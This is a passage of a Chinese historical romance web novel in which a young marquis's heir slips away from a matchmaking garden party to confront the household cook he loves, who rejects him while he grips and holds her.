“我那不争气的儿子,比少将军还长两岁,整日只知斗鸡走狗。要是能有少将军一半的能干,我怕是做梦都要笑醒了。”
老夫人捏着手里的佛珠串,不急不躁地回应着。
“众位老姐妹快莫要抬举他了。惊驰那孩子,打小就是个皮猴性子,在军营里摸爬滚打惯了,满身的粗野气。圣上那是看在他战死的父祖份上,才对他厚爱三分,哪像你们家那些哥儿,个个都是满腹经纶的书香种子。”
她说着,眼波一转,看向园子里那一道道鲜亮的倩影,语气愈发谦和:
“今儿请大家来,也是借着这春光聚聚,老婆子如今没别的念想,只求能有个稳重知礼的孙媳妇,替他操持家宅,收收他那野性子。”
一番话说得滴水不漏,在座的众夫人心里也都有了底。
只要自家女儿表现得出色,这侯府少夫人的位置,人人都有机会。
正说着,门外传来一阵低呼,还有丫鬟们的请安声。
紧接着,主厅帘子被打起,一道高大挺拔的身影跨过门槛,逆光走了进来。
是裴惊驰。
他刚从西山伴驾归来,褪去戎装,换上了一身暗纹玄色锦缎长袍,腰系玉带,越发衬得他宽肩窄腰,身姿如松。
虽收敛了在军营里的煞气,但眉眼间那股子久经沙场的锋芒,与骨子里的桀骜,却怎么也掩不住。
他径直走到大厅中央,朝老夫人单膝跪地:“孙儿给祖母请安,愿祖母福寿安康。”
“起来吧。”老夫人眼底笑意加深,招呼下人将他扶起:“你这几日伴驾辛苦了,赶紧过来,见过诸位夫人。”
裴惊驰起身,转向席间的众人诰命夫人,拱手作揖。
“惊驰见过诸位夫人。”
众夫人先是被他这卓绝的身量惊了一下,待看清他那张轮廓分明、俊朗无俦的面容时,眼底的满意之色简直要溢出来了。
都说这位裴家大郎,七年前也是个斗鸡走狗,惹是生非的混世魔王。
谁知去北京历练几年,如今竟脱胎换骨,往这儿一站,就像一把淬了火的绝世神兵,耀眼又矜贵。
这般通身的气度,直叫在座的夫人们看得心头火热,恨不能立刻将自家闺女的庚帖塞进老夫人手里。
“哎哟,快免礼。”众夫人笑得合不拢嘴,连连点头。
“百闻不如一见,少将军这般风采,今日真是叫我们这些老婆子开了眼了。”
厅内是一片赞叹奉承之声。
就在这时,又有丫鬟来报;“老夫人,兵部尚书杜夫人,携杜小姐到了。”
话音刚落,便见一位约莫三四十来岁,笑容满面的贵夫人走了进来,她的身后还跟着一个妙龄女子。
那女子约莫十七八岁,一袭鹅黄襦裙,容貌出众,举止端庄,进门便微微低头,目不斜视。
“哎呀,真是对不住老夫人,对不住诸位老姐妹。”杜夫人一进门便满脸致歉。
“路上遇见个卖炭的老翁寒毒发作,晕倒在路边。嫣然这丫头见不得人间疾苦,非要叫停了马车,让下人拿了体己银子去抓药,亲自看着家丁把那卖炭翁送进医馆,这才肯罢休。”
她笑吟吟地看向主座上的老夫人,“这一来二去的,便耽搁了时辰,还请老夫人,诸位老姐妹勿怪。”
老夫人听闻,满意
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地点头,眼底的笑意顿时真切了几分。
到了她这个年纪,最看重的便是一个‘善’字。
能体恤弱小、积德行善的姑娘,才有那份厚福来替夫家绵延子嗣、操持中馈。
“杜夫人说的哪里话,”老夫人笑容慈祥,忙向杜嫣然招手,“嫣然这叫菩萨心肠,是有大福气的人。快,好孩子,上前来让我好生瞧瞧。”
杜嫣然微微低着头,莲步轻移上前,朝老夫人盈盈一拜。
声音轻柔如水,不卑不亢:“嫣然见过老夫人,见过诸位夫人。嫣然一时情急失了规矩,让长辈们久候,实在汗颜。”
“好孩子,快起来。”老夫人越看越欢喜,主动拉着杜嫣然的手道。
“心善貌美,知书达理,老婆子我活了这么多年,像你这般的姑娘,可不多见。”
杜嫣然微微低头,脸颊染上一层薄红:“老夫人谬赞了。”
老夫人目光转向裴惊驰,又道:“惊驰,园子里的牡丹开得正好,你带杜小姐去逛逛,别怠慢了。”
此言一出,大厅里不少夫人脸色都变了变。
老夫人这也太明显了,感情今天她们等人就是来作陪的?
还有这个杜家小姐,故意留在最后压轴上台,还说什么救治孤老,分明就是有意为之,想在老夫人跟前博个好印象。
众人笑得有些僵硬。
裴惊驰下颌紧绷,眼底掠过一丝不易察觉的躁郁。
他这三天在行宫度日如年,满脑子都想着回来见沈令薇,可每次只要一有苗头,小叔总会第一时间出现,叮嘱他不可误了大事。
包括这次母亲催他参加相亲宴,他本不想去,可小叔的话点醒了他。
他若拒绝,母亲定会起疑,到时说不定顺藤摸瓜,查到静和苑去。
到那时,才是真正地害了她。
想见,不能见。想护,不能护。
裴惊驰虽然憋屈,却也知道大局当前,容不得他任性妄为。
他深吸一口气,朝老夫人拱手:“孙儿遵命。”
随后,他没再看众人一眼,转身大步跨出了正厅。
杜嫣然也朝着众人行了个告退礼,紧随其后。
第87章 不是她做的,有个屁用
沁芳园内,此时正是春色最浓时。
沿路的红梅已谢,取而代之的是开得如烟如霞的西府海棠。微风拂过,落英缤纷,恰好落在波光粼粼的碧池里。
裴惊驰身高腿长的,杜嫣然在后面跟着,有些吃力,但还是依旧维持着大家闺秀的仪态。
“少将军慢些,这满园春色,若是错过了岂不可惜?”
裴惊驰闻言,脚步一顿,索性不走了,长腿一迈,身子懒洋洋地往湖心亭柱子一靠。顺手摘了几片柳叶在指尖把玩。
他朝杜嫣然勾起一抹漫不经心的轻笑:“杜小姐勿怪,此前在军中打仗走得快,习惯了,小姐金尊玉贵,多担待点儿。”
杜嫣然闻言,用帕子掩唇轻笑出声:“少将军是个爽快人,嫣然怎会怪罪。”
顿了顿,又侧头看他,语气温婉:“久闻少将军在北境战功赫赫,却不知……少将军平日除了练兵,还有什么喜好?”
“吃!”
裴惊驰想也不想地回答。
杜嫣然被这个回答给愣了一下,又笑了:“少将军说笑了。”
“没说笑。”裴惊驰扯了扯嘴角,屈着一条长腿坐在栏杆上,目光落在远处的湖面上,“就是爱上了吃。”
尤其是某人做的饭菜。
“少将军果真是个直来直去的性情中人。说来也巧,嫣然不才,平日里在闺阁中除了看书女红,对这吃食一道也略通一二。不知少将军最爱吃什么?嫣然也好长长见识。”
裴惊驰看了她一眼,随口道:“果木香熏手撕牛肉、金汤煨羊蝎子、拔丝奶皮子配焦脆肉饼。”
杜嫣然愣了一下。这几道菜,不过都是些再普通不过的市井菜式。
京中但凡富贵体面的人家,不都该吃些燕窝鱼翅、清汤玉笋之类的吗?她从小也是品鉴的这些。
杜嫣然毕竟是受过严苛教育的尚书千金,心思转得极快,立刻柔声附和道:
“少将军在边境多年,想来是习惯了这等豪迈顶饥的吃食。这几道菜虽不常见于筵席,但若少将军喜欢,嫣然回去以后定当好生钻研,尽量学着做出来,好让少将军一饱口福。”
听她这番极尽的贤惠与讨好,裴惊驰只觉得索然无味。
不是那个人做的,就算用金锅银铲炒出来,又顶个屁用。
但他并未将这份不耐表现在脸上,只随意地扯了下嘴角,敷衍地‘嗯’了一声。
微风拂过湖面,吹落了几片轻柔的海棠花瓣。
杜嫣然以为他这是应允了,脸颊染上两抹娇羞的红晕,又继续与他温声软语地说着话。
从远处看去,湖心亭中,男的高大慵懒,女的娇柔婉约,像极了一幅郎情妾意的绝美画卷。
-
与此同时,大厨房中。
沈令薇正在忙着做点心,管事赵嬷嬷打帘走了进来,看见那碟精致可口的糕点,遂问道:“这拔丝玉露糕是你亲手做的?”
沈令薇点头,“正是,敢问嬷嬷有什么吩咐吗?”
她本是静和苑的掌事,但今天府里太忙,而且大房这边给的待遇实在优厚,所以一大早也就过来厨房帮忙了。
只要忙完这一天,就可以得到二两银子的赏赐。
反正闲着也是闲着,她不会跟银子过不去。
赵嬷嬷看着这糕点的卖相,满意地点头:“既如此,那便辛苦你亲自去湖心亭一趟,把糕点给杜小姐送过去吧。若是杜小姐有什么忌口的,或者问起花样,你也好当面应对。”
沈令薇微微一滞。
“可我一会儿还要……”
“后面的事交给其它人做,你且先送过去。”赵嬷嬷说完,又意味深长地敲打了一句:
“手脚麻利些,记住别打扰大公子和杜小姐的相处。”
“……是。”
沈令薇犹豫了一瞬,不疑有他。
直到沈令薇的背影远去,赵嬷嬷才微微叹了口气。
她四下看了一眼,转过几道曲折的回廊,在一处假山后停下步子。
“启禀侯爷,老奴已经按照您的吩咐,让沈掌事亲自将点心送过去了。”
假山阴影处,裴谨之长身玉立,一身绛紫色常服融在暗色中,更衬得他如深渊般冷肃、难以捉摸。
他没说话,朝赵嬷嬷淡淡地抬手,示意她退下,嘴角却勾起了极淡的弧度。
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另一边,沈令薇提着漆木食盒,穿过九曲回
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廊,稳步朝着湖心亭走去。
微风吹起亭子四周月白色的纱幔,透过轻纱,她看清了亭子里面的光景。
裴惊驰一身玄衣,慵懒地坐卧在木栏上,手里捏着一根柳枝,漫不经心地转着。
他的身侧站着一位穿着鹅黄襦裙的年轻女子,两人靠得很近,不知说了什么有趣的事,惹得那女子掩唇娇笑。
微风卷落海棠花瓣,落在那杜小姐的发髻上,画面静谧、美好,仿佛天造地设的一对璧人。
沈令薇站在桥头,拎着食盒的手微微收紧。
她有些犹豫到底要不要进去。
这时,亭子里的人似乎发现了她,那女子像受惊一样,慌忙退开了半身距离,露出娇羞的面容。
“少将军莫要说笑了……”
那副欲语还休的模样,落在任何人眼里,都会觉得这两人方才定是在打情骂俏。
既已撞见,沈令薇当即落落大方地上前,将点心摆在石桌上。
“奴婢奉命,前来给二位送些吃食。”
她动作规矩,声音亦不卑不亢,把分寸拿捏得刚刚好。
杜嫣然目光先是落在沈令薇身上,待看清她那多一分则腴,少一分则柴,线条流畅饱满的身材时,不禁微微一愣。
这般惹眼的骨相,哪怕只穿着下人服侍,也藏不住这惊人的身段,尤其是那不盈一握的楚腰,与那成**人独有的丰盈交织在一起,非但不显轻浮,反而在这满园的青涩春光中,透出一股浑然天成、夺人眼球的惊艳。
堂堂侯府,一个送吃食的下人,身段竟生得这般绝色?
杜嫣然心里生出一丝微妙的警惕与不适。
她下意识地朝裴惊驰看过去。
裴惊驰手里还捏着那根柳枝,但却停止了转动,方才还一副慵懒,漫不经心的少将军,此刻像是被定住了一般,身体微微绷直。眼神也一直黏在这妇人身上。
不似方才的客套,疏离,而是带着一种急切,还有一丝丝慌乱和尴尬。
杜嫣然呼吸一滞,藏在袖子里的手蓦然攥紧了丝帕。
见沈令薇行了个告退礼,转身欲走。杜嫣然下意识地开口:
“请等一下!”
第88章 我不信!你当真对我,没有一丝一毫的情义?
沈令薇脚步顿住,“小姐还有什么吩咐?”
杜嫣然意识到失态,找补道:“这点心瞧着别致,在京中从没见过这样的花样。敢问,这是哪位师傅的手艺?”
沈令薇神色平静:“是奴婢做的,杜小姐若是不喜欢,奴婢可以换别的来。”
“那倒没有,”杜嫣然扬起笑容,拿起一块尝了尝,味道竟出奇的好。
“好吃,不知道这里头都加了些什么?”
沈令薇本无意打扰他们二人的相处,闻言不得不停了下来,跟杜嫣然解释这道点心的做法用料。
“……大致步骤便是这些,这糕点娇贵,需得趁热吃,大公子与杜小姐请慢用。”
沈令薇说完,微微福了福身,打算把独处机会继续留给二人。
“等一下!”杜嫣然又唤住了她,脸上挂着温婉的笑意。
“这点心做起来这般讲究,可见姐姐手艺不凡。往后若有机会,嫣然能不能来侯府向姐姐请教?”
此言一出,亭子里的气氛陡然微妙了一瞬。
沈令薇皱眉,她一个侯府的厨娘,哪里做得了主让尚书府的千金随意进出,还向她请教?
她下意识看向裴惊驰。
裴惊驰已经捏断了那根柳枝,随手往湖里一抛,声音淡淡的。
“杜小姐千金之躯,怎好去沾染那种地方的油烟气。传出去,岂不让人笑话我侯府怠慢了贵客?”
杜嫣然笑容微微一僵,“少将军说的是,是嫣然唐突了。”
她声音依旧温软,可眼底的笑意,已经褪得干净。
沈令薇趁机行礼:“奴婢告退。”随后步出了湖心亭。
至此,裴惊驰也没了和杜嫣然叙话的心思。
待沈令薇走了之后,他也随意寻了个借口,步出了亭子。
……
这头,沈令薇走在回大厨房的路上,途经一条小径时,旁侧的假山群里忽然伸出一只大手,一把将她拉进了旁边的假山里。
力道之大,不容抗拒。
沈令薇还没来得及惊呼出声,鼻尖就撞上一堵温热的胸膛,鼻息间也全是男人身上的强势气息。
她惊了一跳,下意识地想要挣扎,可在看清裴惊驰那张略显焦躁的脸时,心头猛地一跳。
“大公子?你怎么在这儿?杜小姐她……”
“嘘!”裴惊驰食指抵在唇上,将人扶稳。
“爷跟她什么都没有!”他解释道,桃花眼里满是焦灼。
“西山防务吃紧,我被临时调去伴驾,今儿一早才回来,也是才知道,母亲和祖母给我安排了这场宴会。刚在亭子里,我不过是碍于情面跟她敷衍几句罢了……”
“大公子!”沈令薇打断了他,往后退了两步,站到安全距离。
“您的婚事,自有老夫人和大夫人做主,犯不着跟奴婢一介下人解释这些的。”
看她这副疏离的模样,裴惊驰眉头拧了起来。
他上前一步,想伸手去拉沈令薇,却被对方躲开。
“还在跟我赌气?”
他认定沈令薇在吃醋,不管她的抗拒,再次捉住她的手:“爷都跟你解释过了,那就是个过场。”
他语气带着轻哄和纵容:“你要是不喜欢,我以后离那些女人都远远的,绝不让她们有机会往我跟前凑,行不行?”
沈令薇用力挣扎开,又退后了两步,眼神带着疏离。
“大公子误会了,奴婢没有赌气。”
“奴婢方才瞧那杜小姐就极好,出身名门,举止大方,是个极难得的好姑娘,她与大公子门当户对,实在般配,想来日后也定能琴瑟和鸣,如此才不会辜负了老夫人的一片苦心。”
裴惊驰的俊脸寸寸皲裂,多情的桃花眼里酝酿出风暴。
“般配?琴瑟和鸣?”
他死死地盯着沈令薇,气得胸膛都在起伏:“沈令薇,你莫不是在跟我装傻?”
他猛地将沈令薇推倒在假山石壁上,眼角通红:“老子这三天在行宫,满脑子想的都是你,刚结束就赶了回来,你却要把我推给别的女人?”
“你还有没有心?”
肩膀上传来一股剧痛,沈令薇忍住不适,朝他皱眉:“大公子,奴婢不懂您在说什么?”
“不懂?”裴惊
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驰伸手钳住她的下巴,迫使沈令薇仰头看向自己。
“你是真不懂,还是故意装傻?”他俯身,灼热的呼吸悉数喷洒在沈令薇脸上。
“我不信你看不出来,感觉不到,老子对你的感情……”
“大公子慎言!”沈令薇忙出声,阻断了裴惊驰后面的话。
“大公子的心思,奴婢确实不懂,也不想懂。”
“您是侯府的长孙,奴婢只是个厨娘,能带给您的,顶多做几顿好吃的。还请大公子莫要为难奴婢。”
她声音不高,却字字清晰,就像石头缝里钻出来的野草,看似柔弱,却怎么也压不断。
裴惊驰倏地怔住,像听见了什么天大的笑话。
他喉间溢出冷笑,手指摩擦着沈令薇下巴上的红痕,咬牙切齿道;“怎么?是你把爷的心搅得天翻地覆,如今倒想拍拍屁股全身而退?”
“奴婢从未想过招惹大公子。”沈令薇解释道,声音依旧冷静。
“奴婢伺候大公子,是感念您的恩德,奴婢端的是侯府的饭碗,换做府里任何一位主子,奴婢都会这么做。”
裴惊驰呼吸猛地一滞,心头像是被重锤狠狠砸了一下。
“你撒谎!”他声音嘶哑,像被火钳烫过。
“你当真对我,没有一丝一毫的情义?”
沈令薇抬头,迎上他的目光,红唇轻启,给了裴惊驰最致命的一击:
“没有!”
“我对大公子,从头到尾,都没有过半点男女之情。”
假山背后的空气,仿佛在这一瞬间被彻底抽干。
裴惊驰高大的身躯猛地一僵,瞳孔剧烈收缩。
那句“没有半点男女之情”,像是一把淬了冰的尖刀,狠狠捅进他的心脏,绞得他痛彻心扉。
但,短暂的震惊后,他一把狠狠将沈令薇拽进自己怀里,双臂铁箍似的勒住她的腰,赤红的眼底满是不可置信。
“看着我的眼睛再说一遍!我不信……你是骗我的对不对?”
“我不信你对我一点感觉都没有!你就是害怕了对不对?你只是在拿这些话来逼我走!”